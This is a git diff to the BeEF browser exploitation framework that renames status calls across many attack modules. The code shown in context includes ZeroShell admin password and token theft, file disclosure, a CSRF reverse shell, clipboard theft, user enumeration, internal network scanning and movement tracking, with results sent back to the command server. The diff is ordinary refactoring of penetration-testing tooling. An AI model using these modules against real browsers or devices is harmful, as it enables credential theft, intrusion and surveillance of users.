a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js index 61c3b25d17..e8d9f09f50 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js @@ -13,9 +13,9 @@ beef.execute(function() { beef.debug("[ZeroShell_2.0RC2_admin_password] Trying to retrieve admin password in plaintext: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.status.success()); }else{ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js index 7ff47723e5..84a8546c97 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js @@ -13,9 +13,9 @@ beef.execute(function() { beef.debug("[ZeroShell_2.0RC2_admin_static_token] Trying to retrieve admin static token: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.status.success()); }else{ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js index 7deee471db..409647ccd7 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js @@ -14,9 +14,9 @@ beef.execute(function() { beef.debug("[ZeroShell_2.0RC2_file_disclosure] Trying to retrieve local file: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.status.success()); }else{ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js index 831744c360..c781b79807 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js @@ -15,5 +15,5 @@ beef.execute(function() { var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); iframe_<%= @command_id %>.setAttribute('src', target); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.status.unknown()); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js index 92bdaebd32..79571f3f01 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js @@ -21,12 +21,12 @@ beef.execute(function() { beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){ if(response1.status_code == 200){ pwd = response1.response_body.trim(); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success()); beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to authenticate admin user to gain dynamic token with password: " + pwd); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){ if(response2.status_code == 200){ token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success()); beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to spawn a reverse-shell via CSRF in ZeroShell SOP context."); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "Lookup", @@ -35,15 +35,15 @@ beef.execute(function() { STk: token, What: payload }, 10, 'script', false, null, function(response3){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.status.unknown()); } ); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error()); } }); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js index a4ad1647fe..d987580cc3 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js @@ -17,5 +17,5 @@ beef.execute(function() { var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); iframe_<%= @command_id %>.setAttribute('src', target); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown()); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js index 5b88d50cab..502ee06a04 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js @@ -96,9 +96,9 @@ beef.execute(function() { // Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited. getResult = function(){ if(result.trim() != "") - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.status.success()); else - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.status.unknown()); div.innerHTML = ""; // Clean the current DOM's div result = ""; // Clear the result of the bloc tested for the next loop } @@ -108,7 +108,7 @@ beef.execute(function() { else // We have reach the last IP address to scan setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete document.body.removeChild(div); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.status.success()); }, timeout*2); } diff --git a/modules/host/clipboard_theft/command.js b/modules/host/clipboard_theft/command.js index 6e58b31335..23ce0ab1ab 100644 --- a/modules/host/clipboard_theft/command.js +++ b/modules/host/clipboard_theft/command.js @@ -8,9 +8,9 @@ beef.execute(function() { try { var clipboard = clipboardData.getData("Text"); beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.status.success()); } catch (e) { beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.status.error()); } }); diff --git a/modules/host/detect_airdroid/command.js b/modules/host/detect_airdroid/command.js index 182b889d6a..f72acf8cba 100644 --- a/modules/host/detect_airdroid/command.js +++ b/modules/host/detect_airdroid/command.js @@ -12,11 +12,11 @@ beef.execute(function() { img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png"; img.onload = function() { if (this.width == 146 && this.height == 176) result = "Installed"; - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.success()); dom.removeChild(this); } img.onerror = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.error()); dom.removeChild(this); } dom.appendChild(img); diff --git a/modules/host/detect_coupon_printer/command.js b/modules/host/detect_coupon_printer/command.js index 497ec5b1ab..b346f4007d 100644 --- a/modules/host/detect_coupon_printer/command.js +++ b/modules/host/detect_coupon_printer/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!beef.browser.hasWebSocket()) { beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); } //var url = 'ws://127.0.0.1:2687'; @@ -33,7 +33,7 @@ beef.execute(function() { socket.onerror = function(error) { beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error)); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.status.error()); }; socket.onclose = function(event) { @@ -46,13 +46,13 @@ beef.execute(function() { var result = JSON.parse(event.data); if (result['GetVersion']) { beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.status.success()); } else if (result['GetDeviceID']) { beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.status.success()); } else if (result['CheckPrinter']) { beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.status.success()); } } catch(e) { beef.debug('Could not parse WebSocket response JSON: ' + event.data); diff --git a/modules/host/detect_cups/command.js b/modules/host/detect_cups/command.js index f1707124a3..e699595663 100644 --- a/modules/host/detect_cups/command.js +++ b/modules/host/detect_cups/command.js @@ -12,11 +12,11 @@ beef.execute(function() { img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png"; img.onload = function() { if (this.width == 128 && this.height == 128) result="Installed"; - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.success()); dom.removeChild(this); } img.onerror = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.error()); dom.removeChild(this); } dom.appendChild(img); diff --git a/modules/host/detect_google_desktop/command.js b/modules/host/detect_google_desktop/command.js index 3f1d7e0fd9..f8ca255822 100644 --- a/modules/host/detect_google_desktop/command.js +++ b/modules/host/detect_google_desktop/command.js @@ -9,8 +9,8 @@ beef.execute(function() { var dom = document.createElement('b'); var img = new Image; img.src = "http://127.0.0.1:4664/logo3.gif"; - img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.are.status_success());dom.removeChild(this); } - img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.are.status_error());dom.removeChild(this); } + img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.status.success());dom.removeChild(this); } + img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.status.error());dom.removeChild(this); } dom.appendChild(img); }); diff --git a/modules/host/detect_local_drives/command.js b/modules/host/detect_local_drives/command.js index fc041a3093..a5fa598fa4 100644 --- a/modules/host/detect_local_drives/command.js +++ b/modules/host/detect_local_drives/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error()); return false; } @@ -32,7 +32,7 @@ beef.execute(function() { var result = detect_drive(drive); if (result) { beef.debug('[Detect Local Drives] Found drive: ' + drive); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.status.success()); } } diff --git a/modules/host/detect_software/command.js b/modules/host/detect_software/command.js index 1e8f782852..cba03f0057 100644 --- a/modules/host/detect_software/command.js +++ b/modules/host/detect_software/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Software] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error()); return false; } diff --git a/modules/host/detect_users/command.js b/modules/host/detect_users/command.js index 148c071743..9c3fd24035 100644 --- a/modules/host/detect_users/command.js +++ b/modules/host/detect_users/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error()); return false; } @@ -43,7 +43,7 @@ beef.execute(function() { if (home_dir == '') { beef.debug('[Detect Users] Could not find home directory'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.status.error()); return false; } @@ -64,7 +64,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } @@ -83,7 +83,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } @@ -96,7 +96,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } @@ -110,7 +110,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } @@ -124,7 +124,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } @@ -138,7 +138,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index 8a3dfcca19..8514bd289e 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -32,7 +32,7 @@ beef.execute(function() { }; iceGatherer.onerror = function (e) { beef.debug("ICE Gatherer Failed"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.status.error()); }; } else { // Construct RTC peer connection @@ -61,15 +61,12 @@ beef.execute(function() { retResults(); }, function (e) { beef.debug("SDP Offer Failed"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.status.error()); }); }; function retResults(){ var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - - // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way - get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; } // Return results @@ -78,7 +75,7 @@ beef.execute(function() { else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); beef.debug("Found IPs: "+ displayAddrs.join(",")); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.status.success()); } @@ -99,6 +96,6 @@ beef.execute(function() { }); } }else { - beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.status.error()); } }); diff --git a/modules/host/get_system_info_java/command.js b/modules/host/get_system_info_java/command.js index e12554d255..9b5742dd56 100644 --- a/modules/host/get_system_info_java/command.js +++ b/modules/host/get_system_info_java/command.js @@ -20,7 +20,7 @@ beef.execute(function() { output = document.getSystemInfo.getInfo(); if (output) { beef.debug('[Get System Info (Java)] Retrieved system info: ' + output); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.status.success()); beef.dom.detachApplet('getSystemInfo'); return; } @@ -28,7 +28,7 @@ beef.execute(function() { internal_counter = internal_counter + 5; if (internal_counter > timeout) { beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.status.error()); beef.dom.detachApplet('getSystemInfo'); return; } diff --git a/modules/host/physical_location_thirdparty/command.js b/modules/host/physical_location_thirdparty/command.js index 72c195729a..437fa5f40a 100644 --- a/modules/host/physical_location_thirdparty/command.js +++ b/modules/host/physical_location_thirdparty/command.js @@ -9,12 +9,12 @@ beef.execute(function() { var timeout = 10000; if (!beef.browser.hasCors()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error()); return; } beef.net.cors.request('GET', url, '', timeout, function(response) { beef.debug("[Get Physical Location (Third-Party] " + response.body); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.status.success()); }); }); diff --git a/modules/ipec/inter_protocol_posix_bindshell/module.rb b/modules/ipec/inter_protocol_posix_bindshell/module.rb index 58016facb5..51e1e493a2 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/module.rb +++ b/modules/ipec/inter_protocol_posix_bindshell/module.rb @@ -39,8 +39,6 @@ # # o Returning the shell command results is not supported in Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe. The shell commands are executed on the target shell however. # -# o This module is incompatible with autorun. Upon completing the shell commands it will load the original hooked window in a child iframe resulting in an additional hook. This will result in an infinite loop if this module is set to autorun. -# class Inter_protocol_posix_bindshell < BeEF::Core::Command def self.options diff --git a/modules/misc/track_physical_movement/command.js b/modules/misc/track_physical_movement/command.js index d11be50fb9..b8bb523a7b 100644 --- a/modules/misc/track_physical_movement/command.js +++ b/modules/misc/track_physical_movement/command.js @@ -11,7 +11,7 @@ beef.execute(function() { if (!beef.hardware.isMobileDevice()) { beef.debug(result); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.status.error()); } var historicMotion = { @@ -30,7 +30,7 @@ beef.execute(function() { status = new_status; beef.debug(new_status); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.status.success()); } function updateStatus() { diff --git a/modules/misc/wordpress/wp.js b/modules/misc/wordpress/wp.js index 9226cc526b..990fd7d6ef 100644 --- a/modules/misc/wordpress/wp.js +++ b/modules/misc/wordpress/wp.js @@ -9,8 +9,8 @@ // Also, could have all that in as WP.prototype ? function log(data, status = null) { - if (status == 'error') { status = beef.are.status_error(); } - if (status == 'success') { status = beef.are.status_success(); } + if (status == 'error') { status = beef.status.error(); } + if (status == 'success') { status = beef.status.success(); } beef.net.send(beef_command_url, beef_command_id, data, status); beef.debug(data); diff --git a/modules/network/cross_origin_scanner_cors/command.js b/modules/network/cross_origin_scanner_cors/command.js index bb4049f0ca..3600453d87 100644 --- a/modules/network/cross_origin_scanner_cors/command.js +++ b/modules/network/cross_origin_scanner_cors/command.js @@ -14,7 +14,7 @@ beef.execute(function() { var wait = parseInt("<%= @wait %>", 10)*1000; if(!beef.browser.hasCors()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error()); return; } @@ -48,7 +48,7 @@ beef.execute(function() { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 @@ -111,7 +111,7 @@ beef.execute(function() { 'if (response != null && response["status"] != 0) {' + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.status.success());' + '}' + '});' ); diff --git a/modules/network/cross_origin_scanner_flash/command.js b/modules/network/cross_origin_scanner_flash/command.js index a075f6920c..a482175e36 100644 --- a/modules/network/cross_origin_scanner_flash/command.js +++ b/modules/network/cross_origin_scanner_flash/command.js @@ -14,7 +14,7 @@ beef.execute(function() { // check if Flash is installed (not always reliable) if(!beef.browser.hasFlash()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.status.error()); return; } @@ -48,7 +48,7 @@ beef.execute(function() { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 @@ -123,7 +123,7 @@ beef.execute(function() { 'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' + 'if (data.match("securityErrorHandler")) {' + - ' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' + + ' 